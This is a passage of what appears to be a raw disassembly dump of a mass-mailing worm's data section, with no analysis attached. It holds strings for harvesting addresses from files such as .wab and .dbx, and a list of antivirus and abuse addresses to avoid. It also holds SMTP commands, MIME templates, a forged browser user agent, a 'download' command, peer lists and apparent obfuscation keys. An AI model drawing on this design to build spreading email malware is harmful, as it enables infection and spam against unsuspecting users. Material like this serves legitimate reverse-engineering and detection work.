'30F5B8C6FF81EC842534A234E0E5271A=9A2542A31EBF00',0 ; DATA XREF: .data:0042135Eo a309992fceb0d89 db '309992FCEB0D895E2F3E3DAA55F2ED73=D26B86AC264C00',0 ; DATA XREF: .data:0042135Ao a2f931dca989f64 db '2F931DCA989F64FA3387C0E7B08C8560=5144906B2CB700',0 ; DATA XREF: .data:00421356o a2f56fbd56cf103 db '2F56FBD56CF10379C59D8DDEF31504B5=C30513222D7800',0 ; DATA XREF: .data:00421352o a2ee1e5b03d7907 db '2EE1E5B03D7907C8B60B9F5C23842FF7=547BD8AE0EFE00',0 ; DATA XREF: .data:0042134Eo a2dfe9e9769fe0e db '2DFE9E9769FE0E4E7B278CB6621EE8AE=58BF0B2D16D500',0 ; DATA XREF: .data:0042134Ao a2dd4a650a59ef7 db '2DD4A650A59EF789ADA6BFDB010BAA08=3E75B8872D7400',0 ; DATA XREF: .data:00421346o a2c958a0d8e5f9f db '2C958A0D8E5F9FB90C9DFD9AB8EA61C9=C39E7527103E00',0 ; DATA XREF: .data:00421342o a2c70e6209a61a4 db '2C70E6209A61A405953CF5AF02F7F941=451AAE831EBF00',0 ; DATA XREF: .data:0042133Eo a2c3cc679f15270 db '2C3CC679F15270408216FB5B41ED83DF=CFE270221EBF00',0 ; DATA XREF: .data:0042133Ao a2bf18d609eb338 db '2BF18D609EB338C9697C9E99379FD16A=558957C22DC500',0 ; DATA XREF: .data:00421336o a2b7cb08dbb51e0 db '2B7CB08DBB51E02C8D08719925E71FF3=5242EEB60D8500',0 ; DATA XREF: .data:00421332o a2b1d4e40c6caa0 db '2B1D4E40C6CAA0738D663472D934D113=48E089D5182600',0 ; DATA XREF: .data:0042132Eo a2acd8e1be48a72 db '2ACD8E1BE48A725782AC77571D068605=52EB29353C2700',0 ; DATA XREF: .data:0042132Ao a2a324a1de8043a db '2A324A1DE8043A06E4907734DC830E33=549D72A5266201',0 ; DATA XREF: .data:00421326o a27a181a8d1a7a2 db '27A181A8D1A7A2EC4AAD7BE22FED30A3=5328CD9E22C500',0 ; DATA XREF: .data:00421322o a278c11d92d1cbb db '278C11D92D1CBB0B45089EABC98F0E8D=D3B2A9221F8600',0 ; DATA XREF: .data:0042131Eo a2740602e804654 db '2740602E8046545FCC20E0BA0BCE4EE2=55422521155400',0 ; DATA XREF: .data:0042131Ao a26e5e80d3f336a db '26E5E80D3F336A7D50276357AB91ECA5=3A79BF80101201',0 ; DATA XREF: .data:00421316o a26998f316d4547 db '26998F316D45470FFB5CFC42B18CB483=5153E8AB11B500',0 ; DATA XREF: .data:00421312o a21d59ad8e70e8e db '21D59AD8E70E8E60659638E29EEF5C25=54306A60264E00',0 ; DATA XREF: .data:0042130Eo a20c4a0a8eb8249 db '20C4A0A8EB82493DBAAD4321D8325255=54BA7105131E00',0 ; DATA XREF: .data:0042130Ao a1fab1367b3253f db '1FAB1367B3253F4D017EA9F0B7BD0BAD=473E7BBB123900',0 ; DATA XREF: .data:00421306o a1f87e8ab801503 db '1F87E8AB801503809BE687700B9273E3=58BF151F242500',0 ; DATA XREF: .data:00421302o a1ea59b4226a1a5 db '1EA59B4226A1A56B17CB764BBB4DE17D=5452B5882EE000',0 ; DATA XREF: .data:004212FEo a1e632838497c0f db '1E632838497C0F49F8A5280DC92DF8C5=A04B0EBE178500',0 ; DATA XREF: .data:004212FAo a1e07d016d1afd9 db '1E07D016D1AFD93CDE4CF35D71ED411D=D336132D0C7900',0 ; DATA XREF: .data:004212F6o a1d9512fae97f20 db '1D9512FAE97F2025D75F072A75CBA346=544AE2CF0D4300',0 ; DATA XREF: .data:004212F2o a1ae389c8ec8e6b db '1AE389C8EC8E6BB98F787298563D170B=CB3BD1DBF4A000',0 ; DATA XREF: .data:004212EEo a1949fc107ea399 db '1949FC107EA39979BDB62D913D1E7A5E=57004FFA225C00',0 ; DATA XREF: .data:004212EAo a172eb82c66818f db '172EB82C66818FF5005857F8269BB3B5=9A2542D11EBF00',0 ; DATA XREF: .data:004212E6o a1516633972c739 db '1516633972C73945E9D9E2EB4FDA8744=55DBD971178C00',0 ; DATA XREF: .data:004212E2o a1382c0d7cf1eba db '1382C0D7CF1EBABFD129A12A6EF79097=540AFFE6274800',0 ; DATA XREF: .data:004212DEo a11f3c749d64ec6 db '11F3C749D64EC67030EA415C9C5917A9=451ABF221EBF00',0 ; DATA XREF: .data:004212DAo a110498912f3724 db '110498912F37243D856456BFF8619D72=9A2542761EBF00',0 ; DATA XREF: .data:004212D6o a0b953450aafbcb db '0B953450AAFBCBEA6EA012533F4F1BA8=43A2091104BF00',0 ; DATA XREF: .data:004212D2o a09bd17989c6e0d db '09BD17989C6E0DE17EC838EA01A89A03=5588A521139300',0 ; DATA XREF: .data:004212CEo a0932d34324a42f db '0932D34324A42F6E509869D2F6089845=525D9664314900',0 ; DATA XREF: .data:004212CAo a089b7828c7c3fc db '089B7828C7C3FC04CD29750061892863=473DCE2B7FF800',0 ; DATA XREF: .data:004212C6o a080468c1a1daa2 db '080468C1A1DAA213849A643FEB00A583=4B55E8C783B000',0 ; DATA XREF: .data:004212C2o a078b04bd90cedf db '078B04BD90CEDF7DA6CF53FBD871055D=51DC87C21A5400',0 ; DATA XREF: .data:004212BEo a075d262953fccf db '075D262953FCCF0B51997B802F160B55=430F040A2B9600',0 ; DATA XREF: .data:004212BAo a061f8a5c4bd902 db '061F8A5C4BD90280C79A5DD4E05750B8=9A2542771EBF00',0 ; DATA XREF: .data:004212B6o a03dc878b249549 db '03DC878B2495491DD2E68616FC8A00A7=58BF0DF74B4400',0 ; DATA XREF: .data:004212B2o a03cee71f18bcd8 db '03CEE71F18BCD85C77A54CB0AABA436C=524A9D122A1500',0 ; DATA XREF: .data:004212AEo a0380eef8ee41b2 db '0380EEF8EE41B20E1EF02A6139A72B28=9A25428C1EBF00',0 ; DATA XREF: .data:004212AAo a0380eef8d3389d db '0380EEF8D3389DA037FDB7564778866E=9A2542A41EBF00',0 ; DATA XREF: .data:004212A6o a0380eef8a06de9 db '0380EEF8A06DE9BD986E69F02698B4F3=9A2542D11EBF00',0 ; DATA XREF: .data:004212A2o a0380eef88e0389 db '0380EEF88E038931BA0C0057ECD0ED2C=9A2542D21EBF00',0 ; DATA XREF: .data:0042129Eo a0380eef83fefb7 db '0380EEF83FEFB7059EF969C51A90C29E=9A2542751EBF00',0 ; DATA XREF: .data:0042129Ao a0370dc8b37b3b6 db '0370DC8B37B3B63A34256656A0E26CD0=9A2542D21EBF00',0 ; DATA XREF: .data:00421296o a029b2bd77d16da db '029B2BD77D16DA39CF62FCF30ED38487=570BCFE54E5200',0 ; DATA XREF: .data:00421292o a028c8a0f2ad992 db '028C8A0F2AD992450B0F6EF397496947=C820559C282200',0 ; DATA XREF: .data:0042128Eo a02414d9a28e6ae db '02414D9A28E6AE0087CCD8FFF0F2D14C=442DB4E57E4700',0 ; DATA XREF: .data:0042128Ao a0222629571f2b9 db '0222629571F2B9B99485CA73B3962682=D9D18BFB5BF300',0 ; DATA XREF: .data:00421286o a0204635ea60fac db '0204635EA60FAC36D4E434AB91FE3162=D5608B6C4C9800',0 ; DATA XREF: .data:00421282o a0202414d9a28e6 db '0202414D9A28E6AE0087CCD88F81BF3B=52E02F5A2C2100',0 ; DATA XREF: .data:0042127Eo a01ea8f6782b0bf db '01EA8F6782B0BF0A924E507C87446D5B=D9932317198900',0 ; DATA XREF: .data:0042127Ao a0152101d974365 db '0152101D974365C7B3B30D653AA78BE2=D429F7D4217100',0 ; DATA XREF: .data:00421276o a01011766d802a3 db '01011766D802A3FD2F19630EA897B5D4=458E6DF41C7800',0 ; DATA XREF: .data:00421272o a01000000000000 db '0100000000000000000000008D0DFD11=44E14B9B2C6300',0 ; DATA XREF: .data:0042126Eo a00a1836ae91d07 db '00A1836AE91D076BC265F9735204714F=451AAE831EBF00',0 ; DATA XREF: .data:0042126Ao a008e235027f1c8 db '008E235027F1C8CF485E95784935E045=458E6DF41C7800',0 ; DATA XREF: .data:00421266o a0080b864b2be6f db '0080B864B2BE6FD9D7F5EDE294E4D428=445286932C1100',0 ; DATA XREF: .data:00421262o a008052d5853a3b db '008052D5853A3B3D2A9B84190975BAFD=53855152054A00',0 ; DATA XREF: .data:0042125Eo a004982069e5db7 db '004982069E5DB75721B54CFF33A26170=5955FC93123900',0 ; DATA XREF: .data:0042125Ao a0042856b2ace49 db '0042856B2ACE498B28D976190EA4F30C=443520D2410B00',0 ; DATA XREF: .data:00421256o a0040a30e13c238 db '0040A30E13C23842275F69AE7EFD59BA=C122902E4B4800',0 ; DATA XREF: .data:00421252o a00401b0f192e0c db '00401B0F192E0CE7BA48E2E720F85CD4=BE4D93A3155E00',0 ; DATA XREF: .data:0042124Eo a003964d3640550 db '003964D3640550573F800125725481EF=5326859A123900',0 ; DATA XREF: .data:0042124Ao a00037a3051fe23 db '00037A3051FE23B6BE8B8C79BE6DD56A=41FF4E35835600',0 ; DATA XREF: .data:00421246o a0001351de60d58 db '0001351DE60D58519C2DB8A6F34A9C69=452FC581466700',0 ; DATA XREF: .data:00421242o a00010ced75c2e4 db '00010CED75C2E4C6222534E6BD5BB4A1=D5868ADE16C900',0 ; DATA XREF: .data:0042123Eo a00000000000000 db '00000000000000009C2DB8A6F34A9C69=452FC581466700',0 ; DATA XREF: .data:0042123Ao aPeers_0 db '[peers]',0 ; DATA XREF: .data:00421236o aLocal_0 db '[local]',0 ; DATA XREF: .data:00421232o aConfig_0 db '[config]',0 ; DATA XREF: .data:0042122Eo align 10h aPostmaster@ db 'postmaster@',0 ; DATA XREF: .data:004217F6o ; .data:00421936o aRoot@ db 'root@',0 ; DATA XREF: .data:004217F2o ; .data:00421932o align 4 aLocal db 'local',0 ; DATA XREF: sub_409866+50o ; .data:004217EEo ... align 4 aNoreply db 'noreply',0 ; DATA XREF: .data:004217EAo ; .data:0042192Ao a@avp_ db '@avp.',0 ; DATA XREF: .data:004217E6o ; .data:00421926o align 4 aPgp db 'pgp',0 ; DATA XREF: .data:004217E2o ; .data:00421922o aSpam db 'spam',0 ; DATA XREF: .data:004217DEo ; .data:0042191Eo align 4 aCafee db 'cafee',0 ; DATA XREF: .data:004217DAo ; .data:0042191Ao align 10h aPanda db 'panda',0 ; DATA XREF: .data:004217D6o ; .data:00421916o align 4 aAbuse db 'abuse',0 ; DATA XREF: .data:004217D2o ; .data:00421912o align 10h aSamples db 'samples',0 ; DATA XREF: .data:004217CEo ; .data:0042190Eo aWinrar db 'winrar',0 ; DATA XREF: .data:004217CAo ; .data:0042190Ao align 10h aGoogle db 'google',0 ; DATA XREF: .data:004217C6o ; .data:00421906o align 4 aWinzip db 'winzip',0 ; DATA XREF: .data:004217C2o ; .data:00421902o align 10h a@messagelab db '@messagelab',0 ; DATA XREF: .data:004217BEo ; .data:004218FEo aFreeAv db 'free-av',0 ; DATA XREF: .data:004217BAo ; .data:004218FAo a@iana db '@iana',0 ; DATA XREF: .data:004217B6o ; .data:004218F6o align 4 a@foo db '@foo',0 ; DATA XREF: .data:004217B2o ; .data:004218F2o align 4 aSopho db 'sopho',0 ; DATA XREF: .data:004217AEo ; .data:004218EEo align 4 aCertific db 'certific',0 ; DATA XREF: .data:004217AAo ; .data:004218EAo align 4 aListserv db 'listserv',0 ; DATA XREF: .data:004217A6o ; .data:004218E6o align 4 aLinux db 'linux',0 ; DATA XREF: .data:004217A2o ; .data:004218E2o align 4 aBsd db 'bsd',0 ; DATA XREF: .data:0042179Eo ; .data:004218DEo aUnix db 'unix',0 ; DATA XREF: .data:0042179Ao ; .data:004218DAo align 4 aNtivi db 'ntivi',0 ; DATA XREF: .data:00421796o ; .data:004218D6o align 10h aSupport db 'support',0 ; DATA XREF: .data:00421792o ; .data:004218D2o aIcrosoft db 'icrosoft',0 ; DATA XREF: .data:0042178Eo ; .data:004218CEo align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0042178Ao ; .data:004218CAo align 4 aKasp db 'kasp',0 ; DATA XREF: .data:00421786o ; .data:004218C6o align 4 aNoone@ db 'noone@',0 ; DATA XREF: .data:00421782o ; .data:004218C2o align 4 aNobody@ db 'nobody@',0 ; DATA XREF: .data:0042177Eo ; .data:004218BEo aInfo@ db 'info@',0 ; DATA XREF: .data:0042177Ao ; .data:004218BAo align 4 aHelp@ db 'help@',0 ; DATA XREF: .data:00421776o ; .data:004218B6o align 4 aGoldCerts@ db 'gold-certs@',0 ; DATA XREF: .data:00421772o ; .data:004218B2o aFeste db 'feste',0 ; DATA XREF: .data:0042176Eo ; .data:004218AEo align 4 aContract@ db 'contract@',0 ; DATA XREF: .data:0042176Ao ; .data:004218AAo align 4 aBugs@ db 'bugs@',0 ; DATA XREF: .data:00421766o ; .data:004218A6o align 4 aAnyone@ db 'anyone@',0 ; DATA XREF: .data:00421762o ; .data:004218A2o aUpdate db 'update',0 ; DATA XREF: sub_403ED0+19Co ; sub_403ED0+203o ... align 4 aNews db 'news',0 ; DATA XREF: .data:0042175Ao ; .data:0042189Ao align 4 aFSecur db 'f-secur',0 ; DATA XREF: .data:00421756o ; .data:00421896o aRating@ db 'rating@',0 ; DATA XREF: .data:00421752o ; .data:00421892o a@microsoft db '@microsoft',0 ; DATA XREF: .data:0042174Eo ; .data:0042188Eo align 10h a_lst db '.lst',0 ; DATA XREF: .data:00421746o ; .data:00421886o align 4 a_dat db '.dat',0 ; DATA XREF: .data:00421742o ; .data:00421882o align 10h a_jsp db '.jsp',0 ; DATA XREF: .data:0042173Eo ; .data:0042187Eo align 4 a_dhtm db '.dhtm',0 ; DATA XREF: .data:0042173Ao ; .data:0042187Ao align 10h a_mht db '.mht',0 ; DATA XREF: .data:00421736o ; .data:00421876o align 4 a_cgi db '.cgi',0 ; DATA XREF: .data:00421732o ; .data:00421872o align 10h a_uin db '.uin',0 ; DATA XREF: .data:0042172Eo ; .data:0042186Eo align 4 a_oft db '.oft',0 ; DATA XREF: .data:0042172Ao ; .data:0042186Ao align 10h a_xls db '.xls',0 ; DATA XREF: .data:00421726o ; .data:00421866o align 4 a_sht db '.sht',0 ; DATA XREF: .data:00421722o ; .data:00421862o align 10h a_tbb db '.tbb',0 ; DATA XREF: .data:0042171Eo ; .data:0042185Eo align 4 a_adb db '.adb',0 ; DATA XREF: .data:0042171Ao ; .data:0042185Ao align 10h a_wsh db '.wsh',0 ; DATA XREF: .data:00421716o ; .data:00421856o align 4 a_pl db '.pl',0 ; DATA XREF: .data:00421712o ; .data:00421852o a_php db '.php',0 ; DATA XREF: .data:0042170Eo ; .data:0042184Eo align 4 a_asp db '.asp',0 ; DATA XREF: .data:0042170Ao ; .data:0042184Ao align 4 a_cfg db '.cfg',0 ; DATA XREF: .data:00421706o ; .data:00421846o align 4 a_ods db '.ods',0 ; DATA XREF: .data:00421702o ; .data:00421842o align 4 a_mmf db '.mmf',0 ; DATA XREF: .data:004216FEo ; .data:0042183Eo align 4 a_nch db '.nch',0 ; DATA XREF: .data:004216FAo ; .data:0042183Ao align 4 a_eml db '.eml',0 ; DATA XREF: .data:004216F6o ; .data:00421836o align 4 a_mdx db '.mdx',0 ; DATA XREF: .data:004216F2o ; .data:00421832o align 4 a_mbx db '.mbx',0 ; DATA XREF: .data:004216EEo ; .data:0042182Eo align 4 a_dbx db '.dbx',0 ; DATA XREF: .data:004216EAo ; .data:0042182Ao align 4 a_xml db '.xml',0 ; DATA XREF: .data:004216E6o ; .data:00421826o align 4 a_stm db '.stm',0 ; DATA XREF: .data:004216E2o ; .data:00421822o align 4 a_shtm db '.shtm',0 ; DATA XREF: .data:004216DEo ; .data:0042181Eo align 4 a_htm db '.htm',0 ; DATA XREF: .data:004216DAo ; .data:0042181Ao align 4 a_msg db '.msg',0 ; DATA XREF: .data:004216D6o ; .data:00421816o align 4 a_txt db '.txt',0 ; DATA XREF: .data:004216D2o ; .data:00421812o align 4 a_wab db '.wab',0 ; DATA XREF: .data:004216CEo ; .data:0042180Eo align 4 aSpooldr_ini_0 db 'spooldr.ini',0 ; DATA XREF: sub_40320F+1Ao ; sub_40B56E+C7o ... aContentTypeApp db 'Content-Type: application/x-www-form-urlencoded',0Dh,0Ah,0 ; DATA XREF: sub_4080EA+B1o align 4 aPost db 'POST',0 ; DATA XREF: sub_4080EA+8Fo align 4 aIu6uu3wjjhfWyh: ; DATA XREF: sub_403316+2o unicode 0, <Iu6Uu3wJJHF%WYHS>,0 align 10h aK8jt6hnjmJuiWw db 'K8JT6Hnjm$#jui#WWhHHgG',0 ; DATA XREF: sub_403389+3Co align 4 asc_41BC28: ; DATA XREF: sub_403539+D0o ; sub_403ED0+166o ... unicode 0, < >,0 aWindowsnt3_51 db 'WindowsNT 3.51',0 ; DATA XREF: sub_403539:loc_4035F9o align 4 aWindows95 db 'Windows 95',0 ; DATA XREF: sub_403539+B9o align 4 aWindowsNt4_0 db 'Windows NT 4.0',0 ; DATA XREF: sub_403539+B2o align 4 aWindows98 db 'Windows 98',0 ; DATA XREF: sub_403539:loc_4035E0o align 4 aWindowsMe db 'Windows Me',0 ; DATA XREF: sub_403539:loc_4035D9o align 10h aWinSD_D db 'Win%s %d.%d',0 ; DATA XREF: sub_403539+89o a32 db '32',0 ; DATA XREF: sub_403539+79o align 10h aNt db 'NT',0 ; DATA XREF: sub_403539+72o align 4 aWindows2000 db 'Windows 2000',0 ; DATA XREF: sub_403539:loc_403592o align 4 aWindowsXp db 'Windows XP',0 ; DATA XREF: sub_403539:loc_40358Bo align 10h aWindows2003 db 'Windows 2003',0 ; DATA XREF: sub_403539+4Bo align 10h aWindowsVista db 'Windows Vista',0 ; DATA XREF: sub_403539+34o align 10h asc_41BCC0 db '~!',0 ; DATA XREF: sub_403632+Co ; sub_4036C6+2Fo ... align 4 a5: ; DATA XREF: sub_4036C6+21o unicode 0, <5>,0 a9: ; DATA XREF: sub_403786+24o unicode 0, <9>,0 asc_41BCCC: ; DATA XREF: sub_4038BB+FCo ; sub_408B4B+83o unicode 0, <\>,0 aAnonymous db 'anonymous',0 ; DATA XREF: sub_4038BB+8Fo ; sub_40675C+30o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)',0 ; DATA XREF: sub_4038BB+65o ; sub_406E37+109o ... align 4 a0: ; DATA XREF: sub_403AA0+6Eo ; sub_403AA0+A5o ... unicode 0, <0>,0 a1: ; DATA XREF: sub_403AA0+67o ; sub_403AA0+9Eo ... unicode 0, <1>,0 a1_0 db '1~!',0 ; DATA XREF: sub_403AA0+14o off_41BD24 dd offset sub_403E74 ; DATA XREF: sub_403CCB+28o ; sub_403DAE+9o dd offset sub_405E95 aDownload db 'download',0 ; DATA XREF: sub_403ED0+18Ao align 4 a2 db '2~!',0 ; DATA XREF: sub_403ED0+27o off_41BD3C dd offset sub_4045C1 ; DATA XREF: sub_40444C+8o ; sub_404949+16o dd offset sub_405E95 dword_41BD44 dd 217E36h ; DATA XREF: sub_404C71+14o aNameserver db 'NameServer',0 ; DATA XREF: sub_404D27+D6o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\',0 ; DATA XREF: sub_404D27+7o align 4 off_41BD94 dd offset sub_405069 ; DATA XREF: sub_404FDE+1Do ; sub_4058DF+32o off_41BD98 dd offset sub_405659 ; DATA XREF: sub_404FDE+17o ; sub_4058DF+2Co dd offset sub_404AAE dword_41BDA0 dd 33h ; DATA XREF: sub_405263+29o dword_41BDA4 dd 7Ch ; DATA XREF: sub_405440+110o ; sub_405440+148o dword_41BDA8 dd 34h ; DATA XREF: sub_405440+24o aAvast db 'avast',0 ; DATA XREF: sub_405675+144o align 4 aGmail_com db 'gmail.com',0 ; DATA XREF: sub_405675+B5o align 10h off_41BDC0 dd offset sub_405D1C ; DATA XREF: sub_4059B5+6o sub_4059C7o dd offset sub_405E95 dword_41BDC8 dd 1 ; DATA XREF: sub_405EFE+19o off_41BDCC dd offset sub_40CC7C ; DATA XREF: sub_406E37+1Eo ; sub_406E37+2Ao dd offset sub_40CC7C dword_41BDD4 dd 217E37h ; DATA XREF: sub_4064AA+27o dword_41BDD8 dd 0 ; DATA XREF: sub_406548+69o ; sub_4074FB+2D5o ... off_41BDDC dd offset sub_406CFE ; DATA XREF: sub_4068A2+1Ao ; sub_406E37+32o dd offset sub_406BE5 off_41BDE4 dd offset sub_4067A5 ; DATA XREF: sub_4068A2+10o ; sub_406E37+3Eo dd offset sub_4064AA off_41BDEC dd offset sub_406BAB ; DATA XREF: sub_4068A2+Ao ; sub_406E37+38o dd offset sub_405E95 aHttp db 'HTTP/',0 ; DATA XREF: sub_406BE5+C8o align 4 a8 db '8~!',0 ; DATA XREF: sub_406BE5+19o a10 db '10~!',0 ; DATA XREF: sub_406CFE+18o align 4 byte_41BE08 db 30h ; DATA XREF: sub_40746D+63r ; sub_4074FB+6Dr ... a123456789abcde db '123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',0 align 4 a04d02d02d02d02 db '%04d%02d%02d%02d%02d%02d',0 ; DATA XREF: sub_407119+156o align 4 aSDS04d02d02d02 db '%s, %d %s %04d %02d:%02d:%02d %c%02d%02d',0 ; DATA XREF: sub_407119+123o align 10h aSat db 'Sat',0 ; DATA XREF: sub_407119+92o aFri db 'Fri',0 ; DATA XREF: sub_407119+8Bo aThu db 'Thu',0 ; DATA XREF: sub_407119+84o aWed db 'Wed',0 ; DATA XREF: sub_407119+7Do aTue db 'Tue',0 ; DATA XREF: sub_407119+76o aMon db 'Mon',0 ; DATA XREF: sub_407119+6Fo aSun db 'Sun',0 ; DATA XREF: sub_407119+68o aDec db 'Dec',0 ; DATA XREF: sub_407119+61o aNov db 'Nov',0 ; DATA XREF: sub_407119+5Ao aOct db 'Oct',0 ; DATA XREF: sub_407119+53o aSep db 'Sep',0 ; DATA XREF: sub_407119+4Co aAug db 'Aug',0 ; DATA XREF: sub_407119+45o aJul db 'Jul',0 ; DATA XREF: sub_407119+3Eo aJun db 'Jun',0 ; DATA XREF: sub_407119+37o aMay db 'May',0 ; DATA XREF: sub_407119+30o aApr db 'Apr',0 ; DATA XREF: sub_407119+29o aMar db 'Mar',0 ; DATA XREF: sub_407119+22o aFeb db 'Feb',0 ; DATA XREF: sub_407119+1Bo aJan db 'Jan',0 ; DATA XREF: sub_407119+14o align 10h dbl_41BEE0 dq 6.2e1 ; DATA XREF: sub_40746D+37r dbl_41BEE8 dq 1.792391689498254 ; DATA XREF: sub_40746D+14r a02x db '%%%02x',0 ; DATA XREF: sub_4074FB+7C5o align 4 aLx db '%lX',0 ; DATA XREF: sub_4074FB+707o asc_41BEFC db 0Dh,0Ah,0 ; DATA XREF: sub_4074FB:loc_407AC9o align 10h asc_41BF00 db 0Dh,0Ah ; DATA XREF: sub_4074FB+5C7o db ' ',0 asc_41BF04 db '=',0Dh,0Ah,0 ; DATA XREF: sub_4074FB+501o ; sub_4074FB+67Fo asc_41BF08 db ' =',0Dh,0Ah,0 ; DATA XREF: sub_4074FB:loc_4079E2o align 10h a_nextpart_03d_ db '----=_NextPart_%03d_%04X_%08.8lX.%08.8lX',0 ; DATA XREF: sub_4074FB+42Fo align 4 a04x08_8lx08_8l db '%04x%08.8lx$%08.8lx$%08x@',0 ; DATA XREF: sub_4074FB+3C2o align 4 aFontDiv db '</FONT></DIV>',0 ; DATA XREF: sub_4074FB+31Ao align 4 aDivFontFace3_0 db '<DIV><FONT face=3DArial size=3D2>',0 ; DATA XREF: sub_4074FB+306o align 4 a20 db '=20',0Dh,0Ah,0 ; DATA XREF: sub_4074FB+2F2o ; sub_4074FB+4E0o ... align 4 aDivFontFace3da db '<DIV><FONT face=3DArial size=3D2></FONT> </DIV>',0 ; DATA XREF: sub_4074FB+2DBo align 4 aI db '%i',0 ; DATA XREF: sub_4074FB+2ACo align 10h a__0: ; DATA XREF: sub_4080EA+5Bo ; sub_408B4B+57o unicode 0, <.>,0 aHtm db 'htm',0 ; DATA XREF: sub_4080EA+2Fo aGif db 'gif',0 ; DATA XREF: sub_4080EA+28o aJpg db 'jpg',0 ; DATA XREF: sub_4080EA+21o aA db 'a=',0 ; DATA XREF: sub_408361+CEo align 4 aB db '&b=',0 ; DATA XREF: sub_40856C+A6o a__ db '..',0 ; DATA XREF: sub_408B4B+6Ao align 4 a__1 db '*.*',0 ; DATA XREF: sub_408B4B+2Bo asc_41BFF0: ; DATA XREF: sub_40906B+5Bo unicode 0, <:>,0 aPeers db 'peers',0 ; DATA XREF: sub_409866+AFo ; sub_4099EF+25o align 4 aD db '%d',0 ; DATA XREF: sub_409866+88o ; sub_40C860+Do ... align 10h aUport db 'uport',0 ; DATA XREF: sub_409866+34o align 4 a08x04x02x db '%08X%04X%02X',0 ; DATA XREF: sub_4099EF+86o align 4 dd 10100FFh, 2020202h, 2 dup(3030303h), 4 dup(4040404h) dd 8 dup(5050505h), 10h dup(6060606h), 20h dup(7070707h) off_41C118 dd offset sub_40A522 ; DATA XREF: sub_40A442+9o ; sub_40A48A+6o dd offset sub_40CC7C dd offset sub_40CC7C align 8 off_41C128 dd offset sub_40AFBA ; DATA XREF: sub_40AFBA+3o ; sub_40B41F+B5o ... dd offset sub_40E0C2 dd offset sub_40E0D4 off_41C134 dd offset sub_40CC7C ; DATA XREF: sub_40BBB5+Ao dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C dd offset sub_40CC7C off_41C15C dd offset sub_40A060 ; DATA XREF: sub_40B199+6o ; sub_40B787+9o dd offset sub_40B1BB off_41C164 dd offset sub_40BFB2 ; DATA XREF: sub_40B41F+16o ; sub_40BBB5+1Co dd offset sub_40B50B dd offset sub_40C149 dd offset sub_40C29A dd offset sub_40B4F4 dd offset sub_40B4FB dd offset sub_40B4FF dd offset sub_40B503 dd offset sub_40B507 dd offset sub_40B517 off_41C18C dd offset sub_40B7B1 ; DATA XREF: sub_40B41F+10o ; sub_40BBB5+16o dd offset sub_40B51B dd offset sub_40B232 byte_41C198 db 41h ; DATA XREF: sub_40C344+96r ; sub_40C344+10Er db 42h, 43h, 44h dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 62615A59h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 33323130h, 37363534h, 2F2B3938h a02x_0 db '%02X',0 ; DATA XREF: sub_40C7A1+34o align 10h off_41C1E0 dd offset sub_40C805 ; DATA XREF: sub_40C9A6+6o ; sub_40C9C3+6o dd offset nullsub_1 dd offset sub_40C9DD dd offset sub_40C826 dd offset sub_40C860 dd offset sub_40C892 dd offset sub_40C8FB dd offset sub_40C918 dd offset sub_40C965 off_41C204 dd offset sub_40CA9E ; DATA XREF: sub_40CC41+6o ; sub_40CC4E+3o dd offset sub_40CACF dd offset sub_40CC70 dd offset sub_40CAE6 dd offset sub_40CB16 dd offset sub_40CB36 dd offset sub_40CB98 dd offset sub_40CBC5 dd offset sub_40CC20 dword_41C228 dd 2B20h ; DATA XREF: sub_40D3F8+52o aHeloS db 'HELO %s',0Dh,0Ah,0 ; DATA XREF: sub_40D513+Bo align 4 aMailFromS db 'MAIL From:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_40D52B+Bo align 4 aRcptToS db 'RCPT TO:<%s>',0Dh,0Ah,0 ; DATA XREF: sub_40D543+Bo align 4 aData db 'DATA',0Dh,0Ah,0 ; DATA XREF: sub_40D55B+Eo align 4 a_ db 0Dh,0Ah ; DATA XREF: sub_40D55B+47o db '.',0Dh,0Ah,0 align 4 aQuit db 'QUIT',0Dh,0Ah,0 ; DATA XREF: sub_40D5C9+9o align 4 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40D6ED+17o off_41C280 dd offset sub_40DAB8 ; DATA XREF: sub_40D737+Bo sub_40DA75o ... dd offset sub_40CC7C dd offset sub_40CC7C off_41C28C dd offset sub_40E090 ; DATA XREF: sub_40DD7C+Co ; sub_40DD92+3o ... dd offset sub_40DE7D dd offset sub_40DDB5 a1_2_3 db '1.2.3',0 ; DATA XREF: sub_40E306+2Co ; sub_412FA4+2Eo align 10h dword_41C2A0 dd 0 ; DATA XREF: sub_40E3A1+23r ; sub_40E3A1+6Br ... dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 